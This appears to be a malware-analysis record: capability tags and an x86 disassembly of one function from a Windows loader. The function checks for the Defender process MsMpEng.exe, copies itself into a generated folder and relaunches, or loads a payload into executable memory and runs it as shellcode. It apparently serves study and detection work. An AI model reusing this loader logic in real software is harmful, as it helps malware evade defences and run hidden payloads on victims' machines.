Function at 0x10001290
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xed4
push esi
push edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x14], 0x2db44
push str.MsMpEng.exe
call fcn.10001170
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x100014eb
mov edx, dword [str.Roaming]
mov dword [ebp - 0x4c], edx
mov eax, dword [0x100020bc]
mov dword [ebp - 0x48], eax
mov ecx, dword [0x100020c0]
mov dword [ebp - 0x44], ecx
mov edx, dword [0x100020c4]
mov dword [ebp - 0x40], edx
mov eax, dword [str.ystem32]
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x100020cc]
mov dword [ebp - 0x38], ecx
mov edx, dword [0x100020d0]
mov dword [ebp - 0x34], edx
mov eax, dword [0x100020d4]
mov dword [ebp - 0x30], eax
xor ecx, ecx
mov word [ebp - 0x2c], cx
xor edx, edx
mov dword [ebp - 0x2a], edx
mov dword [ebp - 0x26], edx
mov dword [ebp - 0x22], edx
mov word [ebp - 0x1e], dx
push str.ShellExecuteW
push 0
push 0
push 0x100020e8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push str.wcscat
push str.NTDLL.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push str.SHGetSpecialFolderPathW
push str.SHELL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x58], 0x18
mov ecx, 0x20b
mov esi, 0x10002150
lea edi, [ebp - 0xed4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0x50], 0x82e
mov dword [ebp - 8], 0
jmp 0x100013a0
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x17
jge 0x100013d1
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x1e]
mov eax, dword [ebp - 8]
mov cx, word [ebp + edx*2 - 0xed4]
mov word [ebp + eax*2 - 0x8c], cx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001397
mov edx, 2
imul eax, edx, 0x17
xor ecx, ecx
mov word [ebp + eax - 0x8c], cx
push 0
push 0x1a
lea edx, [ebp - 0x294]
push edx
push 0
call dword [ebp - 0x10]
push 0
push 0x1a
lea eax, [ebp - 0x6a4]
push eax
push 0
call dword [ebp - 0x10]
push 0x104
lea ecx, [ebp - 0x49c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x49c]
push eax
call section..text
add esp, 8
test eax, eax
jne 0x100014eb
push 0x1000214c
lea ecx, [ebp - 0x294]
push ecx
call dword [ebp - 4]
add esp, 8
push str.CmdValidate
lea edx, [ebp - 0x294]
push edx
call dword [ebp - 4]
add esp, 8
push 0x10002998
lea eax, [ebp - 0x294]
push eax
call dword [ebp - 4]
add esp, 8
push 0
lea ecx, [ebp - 0x294]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [ebp - 0x8c]
push edx
lea eax, [ebp - 0x294]
push eax
call dword [ebp - 4]
add esp, 8
push 0x1000299c
lea ecx, [ebp - 0x294]
push ecx
call dword [ebp - 4]
add esp, 8
push 0
lea edx, [ebp - 0x294]
push edx
lea eax, [ebp - 0x49c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x49c]
push edx
call section..text
add esp, 8
test eax, eax
jne 0x100014eb
push 0
lea eax, [ebp - 0x6a4]
push eax
push 0
lea ecx, [ebp - 0x294]
push ecx
push 0
push 0
call dword [ebp - 0x1c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0x40
push 0x3000
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
push eax
push section..data
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10001240
add esp, 0xc
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
call dword [ebp - 0x18]
mov dword [ebp - 0x5c], eax
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc